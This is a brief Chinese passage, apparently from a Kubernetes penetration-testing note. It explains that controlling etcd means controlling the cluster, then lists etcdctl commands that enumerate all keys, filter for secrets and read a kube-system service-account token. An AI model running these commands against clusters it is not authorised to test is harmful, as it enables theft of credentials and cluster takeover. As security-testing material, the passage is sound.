Kubernetes默認(rèn)使用了etcd v3來(lái)存儲(chǔ)數(shù)據(jù),如果我們能夠控制Kubernetes etcd服務(wù),也就擁有了整個(gè)集群的控制權(quán)。
- export ETCDCTL_API=3
- etcdctl endpoint health
- etcdctl get / --prefix --keys-only | grep /secrets/
- etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-pkkd5